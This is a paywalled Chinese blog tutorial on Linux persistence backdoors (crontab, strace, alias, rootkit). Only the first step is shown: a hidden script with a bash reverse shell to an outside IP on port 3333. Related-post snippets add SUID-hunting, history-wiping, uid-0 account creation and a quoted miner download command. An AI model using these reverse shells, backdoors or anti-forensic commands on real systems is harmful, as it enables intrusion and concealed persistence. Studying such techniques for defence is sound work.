权限维持——Linux-Crontab&Strace&Alias&Rootkit

最新推荐文章于 2024-08-23 11:08:25 发布
最新推荐文章于 2024-08-23 11:08:25 发布
阅读量889 收藏
点赞数
CC 4.0 BY-SA版权
分类专栏： 渗透与攻防 文章标签： linux 网络 网络攻击模型 网络安全 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/m0_61506558/article/details/129338463
本文详细介绍了Linux系统中权限维持的四种方法：利用Crontab创建后门，通过Strace监控系统活动，使用Alias定制命令以及通过加载LKM（Loadable Kernel Module）实现Rootkit后门。具体包括Crontab的后门反弹和添加定时任务，Strace记录sshd明文和私钥，Alias的简单应用及持久化，以及Rootkit的隐藏文件和进程功能。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

目录

（一）权限维持-Linux-定时任务-Crontab后门

1、编辑后门反弹

2、添加定时任务

（二）权限维持-Linux-监控功能-Strace后门

0x01、记录sshd明文

0x02、记录sshd私钥

（三）权限维持-Linux-命令自定义-Alias后门

1、简单

2、升级

 3、持久化+隐藏:重启依旧生效

（四）权限维持-Linux-内核加载LKM-Rootkit后门

4.1 隐藏文件

0x01 centos

0x02 ubuntu

使用参考

功能

0x01 进程

 0x02 连接

0x03 隐藏文件

4.2 搭建客户端

0x01 客户端安装

0x02 设置连接配置

（一）权限维持-Linux-定时任务-Crontab后门

利用系统的定时任务功能进行反弹Shell

1、编辑后门反弹


 

vim /etc/.jinyouxin.sh
#! /bin/bash
bash -i >& /dev/tcp/47. 94.236.117/3333 >&1

 

图 1-1 编写反弹命令
了解本专栏 订阅专栏 解锁全文 超级会员免费看
6.5. 持久化 - Linux
Sumarua的博客
07-07 1120
文章目录6.5. 持久化 - Linux6.5.1. 权限提升6.5.2. 自启动6.5.3. 后门 6.5. 持久化 - Linux 6.5.1. 权限提升 内核漏洞利用 攻击有root权限的服务 利用第三方服务提权 通过有SUID属性的可执行文件 查找可能提权的可执行文件 find / -perm +4000 -ls find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -print 2>/dev/null
网络安全从入门到精通（特别篇I）：Linux安全事件应急响应之Linux应急响应基础必备技能
HACKONE的博客
04-10 1334
awk 首先将每条日志中的IP抓出来，如日志格式被自定义过，可以 -F 定义分隔符和 print指定列；
权限维持简单总结
Aiwin的博客
08-17 5027
权限维持简单总结
linux中限定特定用户使用crontab
最新发布
饭饭饭饭的博客
08-23 1210
在Linux中，crontab（cron table）是用来定时执行任务的工具。默认情况下，任何用户（包括普通用户）都可以为自己的账户创建和管理crontab条目，但前提是这个用户拥有对目录的写入权限，或者通过cron服务本身的权限控制。然而，如果你的意思是“如何允许或限制特定用户或用户组使用crontab”，这通常不是通过直接给“crontab权限”来实现的，而是通过系统配置和权限管理来控制的。
Linux权限维持（五）
pingan233的博客
02-24 170
25 8-11 * * * ls ##每天8-11点的第25分钟执行ls命令[注：“-”用来连接连续的时段] */15 * * * * ls 每15分钟执行一次ls命令 [即每个小时的第0 15 30 45 60分钟执行ls命令 ]30 6 */10 * * ls ##每个月中，每隔10天6:30执行一次ls命令[即每月的1、11、21、31日是的6：30执行一次ls命令 ]30 3 10,20 * * ls ##每月10号及20号的3：30执行ls命令[注：“，”用来连接多个不连续的时段]
操作系统权限维持（六）之Linux系统-定时任务后门
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
03-27 892
使用crontab命令进行反弹shell。crontab命令用于设置周期性被执行的指令。新建shell脚本，利用脚本进行反弹。我们可以使用crontab -e或者vim /etc/crontab添加计划任务。kali机器收到反弹shell。设置定时任务为每分钟执行一次。kali机器开启监听。
Redis持久化
姑苏
06-20 184
redis持久化总结
linux权限维持
whojoe的博客
10-08 563
修改属性 文件时间 touch -r index.php shell.php touch -t 202010101010 shell.php #touch --help 历史操作命令 histroy -r #删除当前会话历史记录 history -c #删除内存中的所有命令历史 rm .bash_history #删除历史文件中的内容 sed -i '150,$d' .bash_history#只保留前150行 set +o history#针对你的工作关闭历史记录 set -o history#恢复 e
红队专题-与维持隐匿Privilege Escalation
aming小老弟
10-27 1678
高权限不仅能对更多文件进行增删改查的操作，方便进一步收集主机系统中的敏感信息， system权限也可以提取内存中的密码Hash，为进一步的渗透提供更多信息。权限提升是从初始访问权限（通常是标准用户或应用程序帐户）一直提升到administrator, root甚至SYSTEM访问权限的艺术。常见技术或攻击手段来获得高权限帐户访问权限。用于检测和利用不同权限提升技术的手动方法，但会提到可以完成相同工作并节省您一些时间的自动化工具。 完美，它指向我们的有效负载。 使用net（也是默认安装的）启动此服务以获得
Apscheduler：定时任务框架【提供了基于日期、固定时间间隔以及crontab类型的任务，并且可以持久化任务；基于这些功能，我们可以很方便的实现一个python定时任务系统】
u013250861的博客
05-29 2275
APScheduler基于Quartz的一个Python定时任务框架，实现了Quartz的所有功能，使用起来十分方便；提供了基于日期、固定时间间隔以及crontab类型的任务，并且可以持久化任务；基于这些功能，我们可以很方便的实现一个python定时任务系统。
crontab - 长期性计划
我的博客
06-03 1492
长期性计划 如果希望 Linux 系统能够周期性的、有规律性的执行某些具体的任务。那么 Linux 系统中默认启用的 crond 服务简直在合适不过了。 创建、编辑计划任务的命令为 “crontab -c” 查看当前计划任务命令为 “crontab -l” 删除某条计划任务为 “crontab -r” 如果你是以管理员的身份登录系统，还可以在 crontab 命令中加上 -u 参数来编辑他人...
Linux——crontab
Wyf的博客
09-04 4343
Crontab介绍crontab是一个用于设置周期性被执行的任务工具，被周期性执行的任务我们称为Cron Job周期性执行的任务列表我们称为Cron Table。crontab命令常见于Unix和Linux的操作系统之中，用于设置周期性被执行的指令。该命令从标准输入设备读取指令，并将其存放于“crontab”文件中，以供之后读取和执行。通常，crontab储存的指令被守护进程激活。crond...
权限维持Linux---监控功能Strace后门&命令自定义Alias后门
金灰的博客
07-03 704
(将命令进行别名自定义)alias 命令的功能：为命令设置别名定义：alias ls='ls -al'去掉别名：unalias ls每次输入 ls 命令的时候都能实现 ls -al缺点:虽然好用,但是靶机重启就会失效!!!
权限维持-Linux-定时任务-Crontab后门
金灰的博客
07-01 488
【代码】权限维持-Linux-定时任务-Crontab后门。
持久化后门crontab
黄都伟
07-06 909
服务器遇到了挖矿程序，wget --quiet http://m247.ltd:36663/.xmrig/0 -O- crontab计划任务导致了该告警的产生。crontab是Linux操作系统中常用的计划任务服务，黑客或恶意程序常常会通过添加修改cron任务使恶意程序定时重复启动，保持驻留。 1.vim /etc/crontab 找到这条命令删除并保存。 2.使用crontab -l 查看，crontab -e进入编辑页面，输入dd，删除, :wq! 保存退出 ...
Linux应急响应二--权限持久化补充
09-16 199
简诉 这篇文章是对Linux 应急响应文章的补充，计划任务、开机自启项 计划任务 crontab crontab 命令 可以创建周期性执行的计划任务，涉及多个文件，在上篇文章中有提过，这里也再简单提一下 下面这几个跟crontab 相关 /var/spool/cron/ #记录了每个用户的计划任务，已用户名命名 /etc/crontab #系统级配置文件 其中/etc/crontab 文件中还有基础的配置说明，在这个文件夹下的 /var/spool/cron/，应该不用写用户名这项 贴几个网上的
crontab权限控制
paopaohehe的专栏
01-08 4585
执行crontab -l报如下错 You (username) are not allowed to use this program (crontab) See crontab(1) for more information linux下有两个文件控制着crontab的权限 #该文件中所列用户不允许使用crontab命令 /etc/cron.deny #该文件中所列用户允许使用crontab命令 /etc/cron.allow Linux不控制root的权限；系统默认情况下没有/etc/cron.all
crontab定时任务及权限
w991304848的博客
09-25 1354
https://blog.51cto.com/weimouren/1736063
Linux权限维持
weixin_41949487的博客
07-01 3160
在渗透过程中拿到目标权限只是开始，通常会留下后门以便再次访问（简称APT）。所以需要进行权限维持，隐藏后门。常见的Linux后门有cron后门、ssh后门、vim后门、隐藏文件、添加超级用户、alias后门等等，本文将对Linux下常见的权限维持后门技术进行解析。 添加用户 添加uid=0的用户 创建用户，并修改/etc/passwd文件 useradd tide;echo 'tide:123456' | chpasswd # 创建用户tide并修改密码为123456 vi /etc/passwd
掌握Linux常用命令——edict-mas开发者的实用指南
资源摘要信息:"Linux常用命令大全edict-mas开发笔记" Linux是一种流行的开源操作系统，以其稳定性和灵活性在服务器市场和开发者中得到广泛应用。edict-mas开发笔记可能是指某个特定项目或个人在使用Linux系统进行...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

@Camelus

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值